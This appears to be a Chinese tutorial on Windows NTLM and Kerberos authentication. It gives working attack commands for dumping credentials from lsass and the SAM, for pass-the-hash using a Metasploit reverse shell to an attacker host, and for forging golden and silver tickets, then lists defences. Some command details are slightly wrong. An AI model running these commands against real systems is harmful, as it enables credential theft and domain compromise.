浅谈Windows身份认证及相关攻击方式
字数 2532 2025-08-26 22:11:56
Windows身份认证机制及攻击方式详解
1. Windows身份认证机制概述
Windows系统主要使用两种身份认证机制:
- NTLM:主要用于本地认证和工作组环境
- Kerberos:域环境中的首选认证协议
早期Windows系统(Windows 2000之前)还使用过LM认证,但由于其加密算法脆弱,已被淘汰。
2. NTLM认证机制
2.1 NTLM Hash生成
NTLM认证的核心是NTLM Hash,其生成过程如下:
- 明文密码 → 十六进制编码
- 十六进制编码 → Unicode转换
- Unicode字符串 → MD4加密
- 得到NTLM Hash
示例:
admin
→ hex(61646d696e)
→ Unicode(610064006d0069006e00)
→ MD4(209c6174da490caeb422f3fa5a7ae634)
2.2 本地认证流程
- 用户操作触发认证(登录/重启等)
- winlogon.exe接收用户密码
- 密码传送给lsass.exe进程
- lsass.exe:
- 内存中存储明文密码
- 将明文密码加密为NTLM Hash
- 与SAM数据库中的NTLM Hash比对
- 匹配则认证通过
2.3 网络认证流程(挑战/响应机制)
工作组环境:
- 客户端发送用户名等信息给服务端
- 服务端生成16位随机Challenge并存储
- 服务端将Challenge返回给客户端
- 客户端使用用户NTLM Hash加密Challenge生成Response(Net NTLM Hash)
- 客户端将Response发送给服务端
- 服务端使用存储的NTLM Hash加密Challenge,与接收的Response比对
- 匹配则认证通过
域环境:
与工作组环境类似,但最终验证在域控(DC)完成
2.4 NTLM的缺陷
- 认证过程中只使用NTLM Hash,不需明文密码
- 攻击者获取NTLM Hash后可直接冒充用户
- 导致Pass The Hash(哈希传递)攻击
3. Kerberos认证机制
Kerberos是基于票据(Ticket)的认证方式,关键组件:
- KDC(Key Distribution Center):密钥分发中心
- KAS(Kerberos Authentication Service):认证服务
- TGT(Ticket Granting Ticket):认购权证
- TGS(Ticket Granting Service):票据授予服务
- ST(Service Ticket):服务票据
3.1 获取TGT流程
- 用户登录时发送用户名和密码加密的Authenticator给KDC
- KDC使用用户密码解密Authenticator验证身份
- 验证通过后:
- 生成用户密码加密的Logon Session Key
- 生成包含用户信息和原始Logon Session Key的TGT
- 使用KDC密钥(krbtgt用户密钥)加密TGT
- 将加密的Logon Session Key和加密TGT返回客户端
- 客户端解密得到原始Logon Session Key并缓存
3.2 获取ST流程
- 客户端向TGS请求ST,包含:
- 用户名
- Logon Session Key加密的Authenticator
- 请求访问的服务名
- TGT
- TGS使用krbtgt密钥解密TGT得到用户信息和Logon Session Key
- 使用Logon Session Key解密Authenticator验证身份
- 验证通过后:
- 生成Logon Session Key加密的Service Session Key
- 生成包含用户信息和原始Logon Session Key的ST
- 将Service Session Key和ST返回客户端
3.3 Kerberos的缺陷
- 完全依赖KDC密钥(krbtgt用户密钥)
- 获取krbtgt账号hash可访问所有Kerberos认证服务
- 导致Pass The Ticket(票据传递)攻击
4. Hash抓取技术
4.1 WCE(Windows Credentials Editor)
- 抓取LM Hash和NTLM Hash
- 需要administrator权限
- 易被杀软检测
wce.exe -lv
4.2 QuarkPwDump
- 导出用户LM Hash和NTLM Hash
- 检测率相对较低
QuarkPwDump.exe -dhl
4.3 注册表导出分析
- 导出注册表(需要system权限):
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
- 使用mimikatz分析:
lsadump::sam /system:system.hive /sam:sam.hive
4.4 Mimikatz
- 抓取lsass.exe进程内存中的明文密码
- 需要administrator及以上权限
privilege::debug
sekurlsa::logonpasswords
4.5 ProcDump导出分析
- 微软官方工具,免杀性好
- 需要administrator及以上权限
- 导出lsass进程:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
- 使用mimikatz分析:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
4.6 SharpDump
- C#编写的工具
- 检测率较低
- 需要administrator及以上权限
- 执行SharpDump生成dump文件
- 修改扩展名为.gz并解压
- 使用mimikatz分析
注意:Windows Server 2012 R2以上默认不保存明文密码,可通过修改注册表启用:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
然后重启系统。
5. Hash传递攻击(Pass-The-Hash)
5.1 原理
利用NTLM Hash直接完成认证流程,无需破解明文密码。
5.2 MSF实现
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST <攻击者IP>
set RHOST <目标IP>
set SMBUser administrator
set SMBPass <LM Hash>:<NTLM Hash>
exploit
5.3 Mimikatz实现
工作组环境:
privilege::debug
sekurlsa::pth /user:<用户名> /domain:<远程服务器地址> /ntlm:<NTLM Hash>
域环境:
privilege::debug
sekurlsa::pth /user:<域管理员名> /domain:<所属域名称> /ntlm:<域管NTLM Hash>
6. 票据传递攻击(Pass-The-Ticket)
6.1 黄金票据(Golden Ticket)
- 伪造TGT
- 直接提升为域管权限
- 需要krbtgt账户的hash和sid
MS14-068漏洞利用:
- 普通域用户执行:
MS14-068.exe -u <用户名>@<所属域名称> -s <用户sid> -d <域控地址> -p <用户密码>
- 使用mimikatz导入票据:
kerberos::ptc TGT_<用户名>@<域名>.ccache
Mimikatz生成:
kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt sid> /krbtgt:<krbtgt NTLM Hash> /ptt
或生成文件后导入:
kerberos::golden /user:<域管> /domain:<所属域名称> /sid:<krbtgt sid> /krbtgt:<krbtgt NTLM Hash>
kerberos:ptt ticket.kirbi
6.2 白银票据(Silver Ticket)
- 伪造ST
- 只能访问指定服务
- 不经过DC直接交互
- 需要目标服务账户的NTLM Hash和sid
Mimikatz生成:
kerberos::golden /domain:<所属域名称> /sid:<服务账户sid> /target:<目标服务器FQDN> /service:<服务名> /rc4:<服务账户NTLM Hash> /user:<伪造用户> /ptt
7. 防御建议
- 及时安装安全补丁(如KB2871997、KB2928120、KB3011780)
- 限制本地管理员权限
- 启用Credential Guard
- 监控lsass.exe进程异常访问
- 定期更换krbtgt账户密码
- 实施最小权限原则
- 启用NTLMv2并禁用LM/NTLMv1
- 监控异常Kerberos票据请求